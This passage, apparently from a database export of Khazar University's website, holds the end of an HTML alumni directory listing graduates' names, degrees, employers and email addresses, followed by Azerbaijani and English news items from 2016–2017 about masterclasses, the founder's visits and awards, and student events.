style=\"font-weight:bold\"><strong>V</strong></h3><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Vugar Valiyev</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:hyugavv@hotmail.com\">hyugavv[at]hotmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Valeriya Aganina </strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail: <a href=\"mailto:valeria10019@gmail.com\">valeria10019[at]gmail.com</a></p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vugar Balayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:vugar.balayev@yahoo.com\">vugar.balayev@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vusal İbrahimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vugar İmaniyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vugar Omarov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of&nbsp;Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">International Economic Relations&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Managing Partner/Global Trading Company LLC</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:vugar.omarov@gmail.com\">vugar.omarov@gmail.com</a>&nbsp;,<a href=\"mailto:vugar.omarov@akkord.az\">vugar.omarov@akkord.az</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:vugar.omarov@akkord.az\"></a>Bachelor 2006</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vafa Alizade</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Damirbank/Customer Service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:vafa.alizadeh@yahoo.com\">vafa.alizadeh@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:vafa.alizadeh@yahoo.com\"></a>Bachelor 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vusal İbrahimli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vugar Shirinov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:sirinovvuqar@gmail.com\">sirinovvuqar@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vugar Alakbarli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:vuqar.ekberli@khazar.org\">vuqar.ekberli@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Vusal Mammadzada</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Senior Consultant |\r\nInformation &amp; Technology Risk  <br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Deloitte Tax &amp; Consulting, Luksemburg</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"Y\" style=\"font-weight:bold\"><strong>Y</strong></h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yashar&nbsp;Hasanov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">BP Exploration (Caspian Sea) LTD, Functions Lead</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: &nbsp;<a href=\"mailto:hassym@bp.com\">hassym@bp.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Yelmar Ashrafov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Yelmar_ashrafov@mail.ru\">Yelmar_ashrafov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"Z\" style=\"font-weight:bold\"><strong>Z</strong></h3><p><strong><span lang=\"AZ-LATIN\" style=\"font-size:13.5pt;line-height:115%\">Zaur Hafizov</span></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and\r\nManagement</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance, 2017</p>\r\n<p>E-mail:<strong></strong><a href=\"mailto:Hafizov919@gmail.com\">Hafizov919[at]gmail.com</a></p>\r\n<p>Gold Fitness, Personal Fitness Trainer&nbsp;</p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zaur&nbsp;Mammadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance &nbsp;&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zaur.mammadov@yahoo.com\">zaur.mammadov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zeynab Safarova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zeyneb.safarova93@gmail.com\">zeyneb.safarova93@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:zeyneb.safarova93@gmail.com\"></a>Bachelor 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zahra Akhundova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Accounting and audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zarita189@gmail.com\">zarita189@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ziya Alili&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">In a military service</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ziya.alili@gmail.com\">ziya.alili@gmail.com</a>&nbsp;;&nbsp;<a href=\"mailto:aliliz@ebrd.com\">aliliz@ebrd.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aliliz@ebrd.com\"></a>Bachelor 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zohrab Mammadov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Euro Audit Company, auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:m.zohrab@mail.ru\">m.zohrab@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2011</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Zaur Amirov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">School of Economics and Management</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finance </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:zaur_amirov@hotmail.com\">zaur_amirov@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bachelor 2009&nbsp;</p>'),(3308,1943,'az','Xəzər Universitetində “Layihə idarəçiliyi” mövzusunda ustad dərsi keçirildi','2017-ci il martın 1-də Xəzər Universiteti Karyera İnkişaf Mərkəzi və İqtisadiyyat və menecment departamentinin birgə təşkilatçılığı ilə “Layihə idarəçiliyi” mövzusunda ustad...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 1-də Xəzər Universiteti Karyera İnkişaf Mərkəzi və İqtisadiyyat və menecment\r\ndepartamentinin birgə təşkilatçılığı ilə “Layihə idarəçiliyi” mövzusunda ustad\r\ndərsi keçirildi. “ALMA Consulting and İnvestment” MMC şirkəti tərəfindən keçirilən ustad dərsində\r\ntələbələrə layihə idarəçiliyinin əsas prinsipləri, edilən səhvlər və uğurlu\r\nlayihənin sirləri haqqında məlumat verildi. Şirkətin rəhbəri Habil Əhmədovun\r\nçıxış etdiyi dərs müzakirə şəraitində keçdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda tələbələrə\r\nStartup layihələr və “ALMA Consulting and İnvestment” MMC şirkətindəki təcrübə\r\nproqramları haqqında məlumat verildi.</p>'),(3309,1943,'en','Masterclass on Project Management','On March 1, 2017, a masterclass on “Project Management” was jointly organized by Khazar University Career Center and Department of Economics and Management...','<p>On March 1, 2017, a\r\nmasterclass on “Project Management” was jointly organized by Khazar University\r\nCareer Center and Department of Economics and Management. The guests speakers\r\nof the masterclass were from ALMA Consulting and Management; they made a\r\npresentation on the principles of project management, common project management\r\nmistakes and secrets to project management success. Habil Ahmadov, Director\r\nof&nbsp; ALMA Consulting and Management, spoke about current Startup projects\r\nin Azerbaijan. He also shared information about internship opportunities for\r\nstudents offered by Alma Consulting and Investment. </p>\r\n<p>The masterclass continued\r\nwith interesting discussions and debates.&nbsp;</p>'),(3310,1944,'az','Hamlet İsaxalı tələbələrin iştirakı ilə hazırlanmış komediyaya tamaşa etdi','2017-ci il fevralın 28-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Akademik Milli Dram Teatrında...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci il fevralın 28-də Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan\r\nAkademik Milli Dram Teatrında Bakı Ali Neft Məktəbi tələbələrinin iştirakı ilə\r\nhazırlanmış Mirzə Fətəli Axundzadənin “Hekayəti-müsyö Jordan və dərviş Məstəli\r\nşah” komediyasına tamaşa etdi.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tamaşadan sonra\r\nH.İsaxanlı tələbələrlə fikirlərini bölüşdü</p>'),(3311,1945,'az','Hamlet İsaxanlı “Dünya” məktəbinin şagirdləri ilə görüşdü','2017-ci il fevralın 28-də Xəzər Universiteti nəzdində fəaliyyət göstərən “Dünya” məktəbinin şagirdləri ilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil fevralın 28-də Xəzər Universiteti nəzdində fəaliyyət göstərən “Dünya” məktəbinin\r\nşagirdləri ilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının görüşü keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə\r\n“Cəbri tənliklərin həlli” barəsində mühazirə ilə çıxış edən Professor İsaxanlı\r\n9-cu əsrdən 19-cu əsrə qədər tarixə nəzər saldı.&nbsp;</p>'),(3301,1937,'en','Masterclass on “Quality Management”','On March 1, 2017, a masterclass on “Quality Management” will be jointly organized by Khazar...','<p>On March 1, 2017, a masterclass on “Quality\r\nManagement” will be jointly organized by Khazar University Career Center and\r\nDepartment of Economics and Management in room 302 (new building) on the\r\nNeftchiler Campus. Speakers of the masterclass include experts from ALMA\r\nConsulting and Management MMC. They will thoroughly discuss the quality\r\nstandards relating to the quality management system. The masterclass will help\r\nstudents become familiar with internationally recognized management standards,\r\nwhich aim to increase customer satisfaction by the conformity of customer\r\nexpectations, needs and legislative terms.</p>'),(3521,2076,'az','Hamlet İsaxanlı beynəlxalq konfransda çıxış etdi','2017-ci il aprelin 17-də Bakı Slavyan Universitetində “Postsovet Azərbaycanında milli-mədəni kimlik” mövzusunda beynəlxalq konfrans keçirildi. Konfransın açılış və plenar...','<p>2017-ci il aprelin 17-də Bakı Slavyan\r\nUniversitetində “Postsovet Azərbaycanında milli-mədəni kimlik” mövzusunda beynəlxalq\r\nkonfrans keçirildi. Konfransın açılış və plenar sessiyalarında Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlı iştirak etdi. Fasilədən sonrakı paneli idarə edən professor\r\nHamlet İsaxanlı “Azərbaycan milli kimliyinin tarixi mərhələləri” adlı məruzə ilə\r\nçıxış etdi.</p>'),(3522,2077,'az','Professor Hamlet İsaxanlı təltif edildi','2017-ci il aprelin 14-də TÜRKSOY –Beynəlxalq Türk Mədəniyyət Təşkilatının sədri professor. Düsen Kaseinov Azərbaycan Atatürk Mərkəzində Xəzər Universitetinin təsisçisi...','<p>2017-ci il aprelin 14-də TÜRKSOY –Beynəlxalq\r\nTürk Mədəniyyət Təşkilatının sədri professor. Düsen Kaseinov Azərbaycan Atatürk\r\nMərkəzində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı ilə görüşdü.</p>\r\n<p>Düsen Kaseinov professor\r\nHamlet İsaxanlıya “Azərbaycan, Kazakıstan, Kırgızıstan, Özbekistan\r\nCumhuriyetlerinin ve Türkmenistan’ın bağımsızlıklarının 25. Yılı anısına”\r\nmedalını təqdim etdi.</p>'),(3523,2068,'en',' Gala Concert for Cultural Festival of Dunya School\'s Sumgayit branch','On April 11, 2017, Gala concert for the Cultural Festival of Sumgayit school children was held in Sumgayit State Drama Theater with the coordination of Executive Power of Sumgayit...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On\r\nApril 11, 2017, Gala concert for the Cultural Festival of Sumgayit school\r\nchildren was held in Sumgayit State Drama Theater with the coordination of Executive\r\nPower of Sumgayit City, Sumgayit Regional Department of Culture, Sumgait City\r\nDepartment of Education and Khazar University\'s&nbsp;affiliate&nbsp;Dunya\r\nSchool\'s Sumgayit branch.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, and Teymur Samedov,\r\n&nbsp;Deputy Head of Sumgayit&nbsp;City&nbsp;Executive Power, welcomed the\r\nparticipants of the concert and emphasized that Cultural Festival of Sumgayit school\r\nchildren is an important event in the life of the people of Sumgayit. Then they\r\ncongratulated the 1st place winners of the festival and awarded them with valuable\r\nprizes.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;Nailakhanim Isayeva, founder of Dunya School;\r\nAlovsat Amirbeyli, Director for Public Relations and Media; Mehman Shukurov,\r\nHead of Sumgayit Regional Department of Culture; Nizami Namazov, Head of Sumgayit\r\nCity Department of Education; Marufe Madatli, Dunya School Director, and Munavar\r\nBayramli, Dunya School\'s Sumgayit branch director awared the 2nd and 3r place\r\nwinners with certificates and prizes.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">At the end of\r\nthe event the winners introduced interesting performances. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Executive\r\nPower of Sumgayit City decided to hold Culture Festival every year.</p>'),(3195,1883,'az','British Council-Azərbaycan nahar mərasimi təşkil etdi','2017-ci il fevralın 13-də British Council - Azərbaycan “Naxçıvan” restoranında nahar təşkil etdi. Naharda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil fevralın 13-də British Council&nbsp;-&nbsp;Azərbaycan “Naxçıvan” restoranında nahar təşkil\r\netdi. Naharda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı ilə yanaşı, hazırda Azərbaycanda səfərdə\r\nolan Lester Universitetinin (Leicester University)&nbsp; rektoru professor Paul Boyle, həmin\r\nuniversitetinin Beynəlxalq Əlaqələr Şöbəsinin direktoru Michael Green, habelə,\r\nBöyük Britaniyanın Bakıdakı səfiri Dr. Carole Crofts və British Council-in Azərbaycan\r\nnümayəndəliyinin direktoru xanım Elizabeth White iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşdə\r\nAzərbaycan Birləşmiş Krallıq əlaqələri, xüsusilə də təhsil və tədqiqat sahəsində\r\nəlaqələr geniş müzakirə olundu.&nbsp;</p>'),(3371,1981,'az','“Maliyyə savadlılığı” layihəsi çərçivəsində tələbələrlə görüş keçirildi','2017-ci il martın 10-da Xəzər Universitetinin “Mərmər” zalında Əmanətlərin Sığortalanması Fondunun “Maliyyə savadlılığı” layihəsi çərçivəsində universitetin tələbələri ilə görüş...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil martın 10-da Xəzər Universitetinin “Mərmər” zalında Əmanətlərin\r\nSığortalanması Fondunun “Maliyyə savadlılığı” layihəsi çərçivəsində universitetin\r\ntələbələri ilə görüş keçirildi. Xəzər Universitetinin təsisçisi, Direktorlar və\r\nQəyyumlar Şurasının sədri professor Hamlet İsaxanlı görüşü giriş sözü ilə\r\naçaraq, universitet haqqında qısa məlumat verdi. Sonra fondun icraçı direktoru\r\nAzad Cavadov ölkənin hazırkı maliyyə vəziyyəti və fondun fəaliyyəti haqqında\r\ngeniş məlumat verdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Sonda\r\ntələbələrin çoxsaylı sualları cavablandırıldı və fondun fəaliyyəti haqqında\r\nqısa təqdimat nümayiş etdirildi.</p>'),(2999,1775,'en','Founder Visits METU','On December 22, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, visited Middle East Technical University...','<p>On December 22, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, visited Middle East Technical University (METU) in Turkey and met with the Rector, Professor Mustafa Verşan Kök. During the meeting, Prof. Isaxanli presented information about Khazar University and gave the Rector a university gift.&nbsp;</p><p>The two administrators also discussed the importance of continuing to develop the relationship between Khazar University and METU. Prof. Kök thanked Prof. Isaxanli for the visit and gave him a gift on behalf of METU.&nbsp;</p>'),(3000,1776,'az','Məqalə yarışmasının qalibləri elan olunacaq','2016-ci il dekabrın 28-i saat 14.00-da Xəzər Universitetində Xəzər Psixoloji Xidmət Mərkəzi və Əlilliyi olan Tələbələr üçün Mərkəzin birgə...','<p>2016-ci il dekabrın 28-i saat 14.00-da Xəzər Universitetində Xəzər Psixoloji Xidmət Mərkəzi və Əlilliyi olan Tələbələr üçün Mərkəzin birgə əməkdaşliği ilə “Əlillik və əlilliyə münasibət” adlı məqalə yarışmasının yekun tədbiri keçiriləcək, qaliblər elan ediləcək.</p><p>Maraqlananlar tədbirə dəvət olunurlar.&nbsp;</p>'),(3001,1777,'az','Əməkdaşların köməyinə ehtiyac var','2016-cı il dekabrın 30-da Xəzər Universitəsində Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni ilə həsr edilmiş bayram şənliyi keçiriləcək...','<p>2016-cı il dekabrın 30-da Xəzər Universitəsində Dünya Azərbaycanlılarının Həmrəylik Günü və Yeni ilə həsr edilmiş bayram şənliyi keçiriləcək. Bununla əlaqədar olaraq, təşkilati işlərdə fəal iştirak etmək istəyən əməkdaşların köməyinə ehtiyac var. Kömək etmək istəyənlər müraciət edə bilərlər: (Dax.tel: 231. Otaq 215).</p><p>Son müraciət tarixi: 26 dekabr 2016-cı il saat 11:00.</p>'),(3002,1778,'az','Humanitar və sosial elmlər, Mühəndislik və tətbiqi elmlər fakültələrinin məzunları ilə görüş keçirildi','2016-ci il dekabrın 22-də konfrans zalında (otaq 102N) Xəzər Universitetini 2016-cı ildə bitirmiş Humanitar və sosial elmlər fakültəsinin 14 və Mühəndislik və tətbiqi elmlər...','<p>2016-ci il dekabrın 22-də konfrans zalında (otaq 102N) Xəzər Universitetini 2016-cı ildə bitirmiş Humanitar və sosial elmlər fakültəsinin 14 və Mühəndislik və tətbiqi elmlər fakültəsinin 5 bakalavr məzunu ilə universitet rəhbərliyinin görüşü keçirildi. Görüşdə Xəzər Universitetinin rektoru Hassan Niknafs, universitetinin &nbsp;Tədris işləri üzrə prorektoru professor Məhəmməd Nuriyev, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov və Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı iştirak edirdilər. Görüşün keçirilməsinin məqsədi universitetin məzunları ilə əlaqə saxlamaq və onların gələcək planlarını müzakirə etmək idi.</p><p>Tədbirin sonunda məzunlar universitetlə bağlı fikirlərini və təəssüratlarını bildirdilər.</p>'),(3003,1779,'en','Encotec Meeting at Khazar','On December 23rd, a technical presentation was given to Khazar University students of the School of Engineering and Applied Sciences by Faik Rzayev...','<p>On December 23rd, a technical presentation was given to Khazar University students of the School of Engineering and Applied Sciences by Faik Rzayev, company director of Encotec.</p><p>He gave students a brief overview of the company\'s work in Azerbaijan, its projects, and internship and job opportunities. Encotec is an engineering company providing multi discipline design engineering and consulting services. Acting Dean Hassan Niknafs and Vice Dean Vafa Aslanova also participated. At the end of the event, there was a question/answer session.</p>'),(3013,1782,'az','Təsisçi “Türklüyə xidmət” mükafatına layiq görüldü','2016-cı il dekabrın 25-də “Borçalı” İctimai Cəmiyyətinin 31 Dekabr –Dünya Azərbaycanlılarının Həmrəyliyi Günü münasibətilə keçirdiyi tədbirdə Xəzər Universitetinin təsisçisi...','<p>2016-cı il dekabrın 25-də “Borçalı” İctimai Cəmiyyətinin 31 Dekabr –Dünya Azərbaycanlılarının Həmrəyliyi Günü münasibətilə keçirdiyi tədbirdə Xəzər Universitetinin təsisçisi, Dirketorlar və Qəyyumlar Şurasının sədri Prof. Hamlet İsaxanlı Cəmiyyətin 19 dekabr 2016-cı il tarixli qərarı ilə səmərəli elmi və ictimai fəaliyyətinə görə “Zahid Xəlilov mükafatı” – “Türklüyə Xidmət ödülü” ilə təltif edildi.&nbsp;</p><p>Mükafat alanlar arasında H.İsaxanlı ilə yanaşı, Türkiyədən, Azərbaycandan və Güney Azərbaycandan ictimai xadimlər də var idi.&nbsp;</p><p>Tədbirdə Xəzər Univesitetinin İdarəetmə və tələbə işləri üzrə prorektoru İsaxan İsaxanlı, İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli də iştirak edirdilər.</p><p>Qeyd edək ki, mükafat ildə bir dəfə olmaqla, hər ilin sonunda Türk dünyasının dirçəlişi naminə misilsiz fədakarlıq göstərən Azərbaycan, Türkiyə, Güney Azərbaycan, Gürcüstan və digər türk bölgələrindən seçilmiş şəxslərə təqdim olunur.</p>'),(3004,1773,'en','Founder Visits Ankara University School of Education ','On December 21, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, held a meeting with the School of Education...','<p>On December 21, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, held a meeting with the School of Education of Ankara University. The Acting 